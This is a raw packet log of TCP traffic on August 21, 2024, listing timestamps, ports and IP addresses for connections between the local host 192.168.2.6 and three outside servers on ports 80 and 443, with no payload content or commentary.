Aug 21, 2024 08:32:16.395154953 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.395179033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395186901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395200014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395209074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395260096 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.395315886 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395380974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395387888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395437002 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.395469904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395476103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395483017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395489931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395524979 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.395540953 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.395891905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395908117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395915031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395926952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395935059 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395942926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395951033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395956993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.395957947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395967007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395989895 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396009922 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396141052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396151066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396158934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396189928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396199942 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396208048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396239996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396245003 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396250963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396276951 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396400928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396406889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396419048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396425962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396449089 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396476984 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396656990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396666050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396680117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396687984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396719933 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396733046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396733046 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396740913 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396749020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396756887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396764040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396775961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396779060 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396781921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396806955 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396836042 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396861076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396867037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396878004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396904945 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396930933 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.396977901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396985054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.396996975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397010088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397030115 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.397047997 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.397085905 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.397100925 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.397155046 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.397176027 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.397274971 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.397289038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397298098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397306919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397315025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397330046 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.397335052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397346973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397350073 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.397356987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397378922 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.397588015 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.397609949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397617102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397663116 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.397690058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397696018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397701025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397723913 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397732019 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.397732973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.397775888 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.398420095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.398442984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.398448944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.398473024 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.398489952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.398516893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.398525953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.398540974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.398551941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.398593903 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.399776936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.399789095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.399802923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.399807930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.399827003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.399837017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.399847031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.399853945 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.399885893 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.399905920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.400567055 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.400983095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.400991917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401005983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401031017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401040077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401051998 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401057959 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401073933 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401122093 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401153088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401160002 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401180983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401240110 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401259899 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401273012 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401282072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401289940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401313066 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401314974 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401320934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401331902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401335001 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401340008 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401350021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401379108 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401411057 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401424885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401432037 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401447058 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401496887 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401498079 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401551962 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401573896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401585102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401597023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401602030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401612997 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401619911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401628017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401634932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401653051 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401681900 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401710987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401767015 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401832104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401840925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401849031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401856899 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401873112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401880980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401885986 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401897907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.401907921 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401932955 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.401964903 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.409297943 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.409322023 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.409423113 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.409430027 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.409502029 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.420437098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.420448065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.420460939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.420500994 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.420507908 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.420519114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.420525074 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.420541048 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.420579910 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.420579910 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.437608957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437618971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437630892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437658072 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437663078 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437674046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437680006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437685966 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.437688112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437724113 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.437746048 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.437787056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437793016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437803030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437808990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437813997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437819004 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437830925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.437845945 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.437881947 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.438783884 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.438862085 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.438927889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.438934088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.438946009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.438951015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.438956022 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.438961029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.438966990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.438983917 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.439016104 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.444549084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444560051 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444566965 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444607019 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444607973 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.444612980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444626093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444637060 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444639921 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.444645882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444663048 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.444706917 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.444789886 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444797039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444802999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444808006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444813013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444818974 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.444874048 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.445024014 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445029974 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445041895 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445053101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445058107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445070028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445085049 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.445115089 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.445147038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445152044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445199966 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.445215940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445221901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445302010 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445307016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445317984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445323944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445334911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445338011 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.445369005 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.445388079 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.445401907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445410967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445419073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445446014 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.445468903 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.445478916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445486069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445497990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445553064 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.445621967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445626974 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445637941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445646048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445652962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445657969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445662975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445668936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445694923 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.445724964 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.445768118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445802927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.445810080 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.445864916 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.446742058 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.446747065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.446758032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.446770906 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.446779013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.446806908 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.446832895 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.446832895 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.446846962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.446887016 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.446928978 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.446935892 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.446991920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.447086096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447096109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447101116 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447107077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447146893 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.447185040 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.447540998 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447546959 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447551966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447562933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447592974 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.447623968 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.447900057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447906017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447916985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447921991 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447926998 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447931051 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.447962999 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.447998047 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.451397896 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.451457024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.451457024 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.451462030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.451479912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.451486111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.451507092 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.451549053 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.451555014 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.451562881 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.451572895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.451608896 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.453845978 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454376936 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454382896 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454394102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454399109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454412937 CEST	80	49719	147.45.44.104	192.168.2.6
